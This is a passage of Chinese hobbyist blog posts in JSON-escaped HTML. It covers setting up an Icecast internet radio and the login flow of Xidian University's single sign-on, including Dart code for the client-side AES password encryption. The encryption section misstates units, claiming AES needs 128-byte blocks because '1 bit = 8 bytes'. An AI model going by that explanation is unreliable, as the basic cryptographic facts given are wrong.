class=\"nt\"\u003e\u0026lt;admin-user\u0026gt;\u003c/span\u003eadmin\u003cspan class=\"nt\"\u003e\u0026lt;/admin-user\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;admin-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/admin-password\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/authentication\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 设置该软件监听哪个端口,一般无需改动 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;listen-socket\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;port\u0026gt;\u003c/span\u003e8000\u003cspan class=\"nt\"\u003e\u0026lt;/port\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/listen-socket\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里我省略了好多选项,不要直接使用这个配置文件! --\u0026gt;\u003c/span\u003e\n\u003cspan class=\"nt\"\u003e\u0026lt;/icecast\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当你修改好自己的配置文件,使用这个命令启动 Icecast 软件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ sudo service icecast2 start\n$ sudo systemctl \u003cspan class=\"nb\"\u003eenable\u003c/span\u003e icecast2 \u003cspan class=\"c1\"\u003e# 如果你想让这玩意开机自启动的话\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e现在你打开你的服务器网站的 8000 端口的话,你应该能看到这个。我这里是开电台了,所以有东西,应该是啥都没有才对。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"电台推流软件三例\"\u003e电台推流软件三例\u003c/h2\u003e\n\u003cp\u003e在 Icecast 网站上,他们\u003ca class=\"link\" href=\"https://icecast.org/apps/\" target=\"_blank\" rel=\"noopener\"\u003e贴了一堆软件\u003c/a\u003e。我这里写三个我用过的。更多的话,可以看看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Icecast\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki 的这篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"obs-还能推流广播\"\u003eOBS 还能推流广播?\u003c/h3\u003e\n\u003cp\u003e你没看错,OBS 也能推流到 Icecast 服务器上,不过我觉得没有那么方便了。毕竟他只是个视频直播软件啊……\u003c/p\u003e\n\u003cp\u003e首先说点闲话,Icecast 能处理视频流,就是你们直播到 Bilibili 的那个。详情请看\u003ca class=\"link\" href=\"https://epir.at/2018/03/08/obs-icecast-streaming/\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。不过这玩意不是官方支持,所以我不会过多描述,但是我以下的配置文件是根据这玩意改的。\u003c/p\u003e\n\u003cp\u003e打开 OBS 的设置界面,调到 输出 -\u0026gt; 录像 ,类型选择 “自定义输出 FFMpeg” 上面。然后咱这么修改:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFFMpeg 输出类型改成\u0026#34;输出到 URL\u0026#34;,下面的 URL 改成 \u003ccode\u003eicecast://source:上面设置的推流密码@服务器ip或者域名:8000/stream\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e容器格式选择 opus(音频),下面的混流器设置填上 \u003ccode\u003econtent_type=application/ogg\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下面的音频比特率填个合适的,比如 192kbps 之类,想起了下载 MP3 年代了吗?\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\" loading=\"lazy\" alt=\"OBS 设置一个例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eOBS 设置一个例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 “开始录制”,vola,你现在开始广播了!当然,画面是传不过去了,不过调整一下声音配置,你的声音开始传播了。\u003c/p\u003e\n\u003ch3 id=\"mixxx-感觉更适合些\"\u003eMixxx 感觉更适合些\u003c/h3\u003e\n\u003cp\u003eMixxx 是一个 DJ 软件,他能混音各种各样的音乐,也能按照顺序播放音乐……好吧,我对这个软件没有那么了解,只是知道这个东西可以用来广播:-P\u003c/p\u003e\n\u003cp\u003e首先,你最好有个歌库啥的,也就是说,你的电脑得有一堆歌曲文件。这玩意下载也没那么难吧,随便开个网易云,腾讯啥的,一堆可以下载。把他们放在一起,然后在软件设置里面规定好歌库位置。等待然后在音轨选项里面全选之,右键选择\u0026#34;放到自动DJ\u0026#34;。打开自动DJ界面,点击启用自动Dj按钮,好了,广播台现在能循环你的歌单了。歌单还能随机播放哦。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\" loading=\"lazy\" alt=\"Mixxx 界面概览\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eMixxx 界面概览\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你想增加个麦克风的话,你可以在设置里面添加之。这个东西还能添加应用程序作为输入源呢,不过需要搞啥回环声音设备之类,我觉得很不好用,应该有更好的解决方案吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\" loading=\"lazy\" alt=\"设置输入设备\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置输入设备\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e最后,就是规定你的广播地址了。这个看截图应该更明白吧……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\" loading=\"lazy\" alt=\"设置广播例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置广播例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好了,开启你的自动DJ功能,合适时候开下麦克风,Let’s on air!\u003c/p\u003e\n\u003ch3 id=\"ffmpeg-极简主义\"\u003eFFMpeg 极简主义\u003c/h3\u003e\n\u003cp\u003e没错,ffmpeg 也能推流 icecast 捏。不过一般都是用来转播别的广播台233,图个测试用途。看看我用来推流中国之声到服务器上面的命令。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003effmpeg -re -i \u003cspan class=\"s2\"\u003e\u0026#34;https://ngcdn001.cnr.cn/live/zgzs/index.m3u8\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 音频源头\u003c/span\u003e\n -f opus -content_type application/ogg \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流的格式和发送过去的 Content_Type\u003c/span\u003e\n -ice_description \u003cspan class=\"s2\"\u003e\u0026#34;转播中国之声\u0026#34;\u003c/span\u003e -ice_name \u003cspan class=\"s2\"\u003e\u0026#34;CNR News Transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e\u003cspan class=\"c1\"\u003e# 该推流的描述和名称(不填写也可以)\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;icecast://source:上面设置的推流密码@服务器ip或者域名:8000/cnr-news-transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流目的地址 \u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e具体想知道咋用的话,看看\u003ca class=\"link\" href=\"https://ffmpeg.org/ffmpeg-protocols.html#Icecast\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后说一句,本人十分不建议推流视频到 Icecast 服务器上,挺难用的。( Icecast 官方说支持 opus 和 webm,我知道最后那个是视频格式 )\u003c/p\u003e\n\u003ch2 id=\"让听众听见你的声音\"\u003e让听众听见你的声音\u003c/h2\u003e\n\u003cp\u003e实际上这块很水了,点到为止得了……\u003c/p\u003e\n\u003cp\u003e一个途径是,让你的听众打开你的推流地址,应该可以直接播放,如果浏览器支持的话……\u003c/p\u003e\n\u003cp\u003e或者说,你给他们推流链接,让他们拿啥播放器打开……\u003c/p\u003e\n\u003ch2 id=\"最后\"\u003e最后\u003c/h2\u003e\n\u003cp\u003e电台开起来了,放啥东西合适呢?实际上我也不知道,感觉听众不喜欢听新闻……\u003c/p\u003e\n\u003cp\u003e毕竟电台已经成为了某种怀旧的东西了,不过想想我在寒假那时候搭的电台,还是很能缓解一下某种孤独感的。我是那种倾向于向公众大喊\u0026#34;来看看我啊\u0026#34;的内向疯子:-P\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post 关于西电一站式服务大厅背后的那点事\"/\u003e\u003ch1 id=\"关于如何使用西电一站式服务大厅\"\u003e关于如何使用西电一站式服务大厅\u003c/h1\u003e\n\u003cp\u003e好吧,这个假期闲得慌想用 Flutter 把电表重写了(毕竟本人能力很差,就很容易瞎想)。目前开发还是没个身影,但是我感觉,我把核心功能给写出来了,就差套个壳。我觉得,核心功能就是从学校服务器上当下来我需要的数据。根据\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003e我项目的简介\u003c/a\u003e,应该是开发完大半了。\u003c/p\u003e\n\u003cp\u003e但是呢,鉴于本人的鸽子属性,我感觉我得在我将来大概率弃坑之前,留点材料,以方便将来有比我更无聊,更疯狂的人来完成他心目中的电表。\u003c/p\u003e\n\u003ch2 id=\"关于我校一站式服务大厅\"\u003e关于我校一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e我们学校的一站式服务大厅是由南京金智教育开发的,而且很多学校都用这个系统。所以,接下来的部分,感觉很多同志们都能适用。\u003c/p\u003e\n\u003cp\u003e我们学校的一站式大厅有很多功能,不过其中仅仅有很少的一部分我们能用。我感觉平常使用最多的就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课表\u003c/li\u003e\n\u003cli\u003e成绩查询\u003c/li\u003e\n\u003cli\u003e考试安排\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e而我们平常要使用一站式(或者其他东西,比如健康报告)的话,一般都要先登陆统一认证平台,之后才能进入一站式。而这个统一认证平台,也是金智的:-P\u003c/p\u003e\n\u003ch2 id=\"提前说明\"\u003e提前说明\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e以下使用的语言是 Dart,编写 Flutter 应用的语言。个人觉得还算好理解吧……\u003c/li\u003e\n\u003cli\u003e下面步骤,会多次出现本人故意暂停跳转情况发生。因为我发现,要是自动跳转,可能 Cookie 会存不下来,要是 python 的 request 库就没有这个问题。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何登陆统一认证平台\"\u003e如何登陆统一认证平台\u003c/h2\u003e\n\u003ch3 id=\"工具\"\u003e工具\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca class=\"link\" href=\"https://github.com/xdlinux/xidian-scripts\" target=\"_blank\" rel=\"noopener\"\u003exidian-script\u003c/a\u003e 姐妹计划 \u003ca class=\"link\" href=\"https://github.com/xdlinux/libxduauth\" target=\"_blank\" rel=\"noopener\"\u003elibxduauth\u003c/a\u003e 所说,登陆所需要的工具如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCookie Jar。\u003c/li\u003e\n\u003cli\u003e网络传输工具,其中需要设置 \u003ccode\u003eapplication/x-www-form-urlencoded\u003c/code\u003e 来传输参数。\u003c/li\u003e\n\u003cli\u003e网页分析工具,比如大名鼎鼎的 BeautifulSoup 库。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"操作步骤\"\u003e操作步骤\u003c/h3\u003e\n\u003ch4 id=\"获取登陆网页\"\u003e获取登陆网页\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 GET 请求,其中请求参数是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;service\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e接下来要访问的网址\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;userNameLogin\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果正常,会返回登录网页。\u003c/p\u003e\n\u003cp\u003e将登陆网页交给网页分析工具,让他找到网页中 id 为 pwdFromId 的元素们,这里记为 form:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#39;package:beautiful_soup_dart/beautiful_soup.dart\u0026#39; before use.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;form\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003eattrs:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pwdFromId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"检查是否需要验证码\"\u003e检查是否需要验证码\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/a\u003e 发送 GET 请求,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;username\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e填入你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e目前时间戳\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e查看返回值中有没有 \t\u003ccode\u003etrue\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e如果需要填入验证码的话,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/getCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/getCaptcha.htl\u003c/a\u003e 获取验证码图片,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"err\"\u003e目前时间戳:\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"加密密码\"\u003e加密密码\u003c/h4\u003e\n\u003cp\u003e首先,我们需要填充密码。这里我们使用 PKCS7 填充方式。我的程序自己实现了,因为没看明白 Dart 里面 PKCS7 咋用的:-(:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e由于加密方式是 AES,要求分组长度是 128 bytes,根据 1 bit = 8 bytes,需要字符串长度是 16 的倍数。\u003c/li\u003e\n\u003cli\u003e先在密码字符串前面插上 xidianscriptsxdu 四遍(正好是 16 长的字符串,Dart 默认给的是随机字符串),然后将字符串转换成 int 数组(也就是把每个字符转换成对应的 ASCII 码)。\u003c/li\u003e\n\u003cli\u003e然后计算我们还需要在后面插入多少元素来满足 16 的倍数,差几个在后面插入几个。插入内容为插入元素的个数。注意,要是一个都不差,也得插入数据,来保证数据和插入值都存在。\u003c/li\u003e\n\u003cli\u003e由于接下来加密需要的是数字数组,所以不变回字符串。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后,从 form 里面寻找 input 标签,且 id 为 pwdEncryptSalt 的元素,这里面是加密密码的密钥(还是盐啥的)。最后,使用 AES-CBC 算法加密,然后返回字符串。\u003c/p\u003e\n\u003cp\u003e上述步骤的具体代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"c1\"\u003e/// Get base64 encoded data. Which is aes encrypted [toEnc] encoded string using [key].\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// Padding part is copied from libxduauth\u0026#34;s idea.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#34;package:encrypt/encrypt.dart\u0026#34; before use.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eaesEncrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e \u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKey\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eAES\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eAESMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecbc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e/// Start padding\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxduxidianscriptsxduxidianscriptsxduxidianscriptsxdu\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e/// Start encrypt.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eEncrypter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003eiv:\u003c/span\u003e \u003cspan class=\"n\"\u003eIV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxdu\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"发送登陆报文\"\u003e发送登陆报文\u003c/h4\u003e\n\u003cp\u003e首先,构建登陆请求所需要的头。初步需要三个信息:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eusername:你的学号\u003c/li\u003e\n\u003cli\u003epassword:加密过的密码\u003c/li\u003e\n\u003cli\u003erememberMe:防止之后又走一遍登陆过程\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在此之后,我们需要寻找很多预配置的头,加入到我们的头中。这些元素都在 form 中,是 input 标签 ,参数是 \u003ccode\u003etype=hidden\u003c/code\u003e 。循环将其插入到请求头中。\u003c/p\u003e\n\u003cp\u003e最后,向 \u003ca class=\"link\" 